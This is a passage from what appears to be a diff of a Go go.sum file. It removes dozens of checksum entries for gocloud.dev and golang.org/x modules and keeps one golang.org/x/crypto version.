-gocloud.dev v0.19.0/go.mod h1:SmKwiR8YwIMMJvQBKLsC3fHNyMwXLw3PMDO+VVteJMI=
-golang.org/x/crypto v0.0.0-20180501155221-613d6eafa307/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
-golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
-golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
-golang.org/x/crypto v0.0.0-20181203042331-505ab145d0a9/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
-golang.org/x/crypto v0.0.0-20190219172222-a4c6cb3142f2/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
-golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
-golang.org/x/crypto v0.0.0-20190411191339-88737f569e3a/go.mod h1:WFFai1msRO1wXaEeE5yQxYXgSfI8pQAWXbQop6sCtWE=
-golang.org/x/crypto v0.0.0-20190426145343-a29dc8fdc734/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
-golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
-golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
-golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
-golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
-golang.org/x/crypto v0.0.0-20191002192127-34f69633bfdc/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
-golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
-golang.org/x/crypto v0.0.0-20191117063200-497ca9f6d64f/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
-golang.org/x/crypto v0.0.0-20200414173820-0848c9571904/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
-golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
-golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
-golang.org/x/crypto v0.0.0-20201002170205-7f63de1d35b0/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
-golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
-golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
-golang.org/x/crypto v0.0.0-20210513164829-c07d793c2f9a/go.mod h1:P+XmwS30IXTQdn5tA2iutPOUgjI07+tq3H3K9MVA1s8=
-golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
-golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
-golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
-golang.org/x/crypto v0.0.0-20211202192323-5770296d904e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3 h1:0es+/5331RGQPcXlMfP+WrnIIS6dNnNRe0WB02W0F4M=
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
-golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
-golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
-golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=
-golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek=
-golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY=
-golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=
-golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=
-golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=
-golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM=
-golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU=
-golang.org/x/exp v0.0.0-20200331195152-e8c3332aa8e5/go.mod h1:4M0jN8W1tt0AVLNr8HDosyJCDCDuyL9N9+3m7wDWgKw=
-golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js=
-golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
-golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
-golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
-golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
-golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
-golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
-golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
-golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
-golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs=
-golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
-golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
-golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
-golang.org/x/lint v0.0.0-20210508222113-6edffad5e616/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
-golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE=
-golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o=
-golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc=
-golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY=
-golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
-golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
-golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
-golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
-golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
-golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
-golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
-golang.org/x/net v0.0.0-20170726083632-f5079bd7f6f7/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20181108082009-03003ca0c849/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20190125091013-d26f9f9a57f3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20190301231341-16b79f2e4e95/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
-golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
-golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
-golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
-golang.org/x/net v0.0.0-20190522155817-f3200d17e092/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks=
-golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks=
-golang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
-golang.org/x/net v0.0.0-20190619014844-b5b0513f8c1b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
-golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
-golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
-golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
-golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
-golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
-golang.org/x/net v0.0.0-20191002035440-2ec189313ef0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
-golang.org/x/net v0.0.0-20191119073136-fc4aabc6c914/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
-golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
-golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
-golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
-golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
-golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
-golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
-golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
-golang.org/x/net v0.0.0-20200421231249-e086a090c8fd/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
-golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
-golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
-golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
-golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
-golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
-golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
-golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
-golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
-golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
-golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
-golang.org/x/net v0.0.0-20201202161906-c7110b5ffcbb/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
-golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
-golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
-golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
-golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
-golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc=
-golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
-golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
-golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
-golang.org/x/net v0.0.0-20210805182204-aaa1db679c0d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
-golang.org/x/net v0.0.0-20211020060615-d418f374d309/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
-golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
-golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
-golang.org/x/net v0.0.0-20220114011407-0dd24b26b47d h1:1n1fc535VhN8SYtD4cDUyNlfpAF2ROMM9+11equK3hs=
-golang.org/x/net v0.0.0-20220114011407-0dd24b26b47d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
-golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
-golang.org/x/oauth2 v0.0.0-20181106182150-f42d05182288/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
-golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
-golang.org/x/oauth2 v0.0.0-20190402181905-9f3314589c9a/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
-golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
-golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
-golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
-golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
-golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
-golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
-golang.org/x/oauth2 v0.0.0-20210126194326-f9ce19ea3013/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
-golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
-golang.org/x/oauth2 v0.0.0-20210220000619-9bb904979d93/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
-golang.org/x/oauth2 v0.0.0-20210313182246-cd4f82c27b84/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
-golang.org/x/oauth2 v0.0.0-20210413134643-5e61552d6c78/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
-golang.org/x/oauth2 v0.0.0-20210427180440-81ed05c6b58c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
-golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
-golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.0.0-20190412183630-56d357773e84/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sys v0.0.0-20170728174421-0f826bdd13b5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20181122145206-62eef0e2fa9b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20181205085412-a5c9d58dba9a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20190221075227-b4e8571b14e0/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190403152447-81d4e9dc473e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190606203320-7fc4e5ec1444/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190620070143-6f217b454f45/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190626221950-04f50cda93cb/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190826190057-c7b8b68b1456/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20191119060738-e882bf8e40c2/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
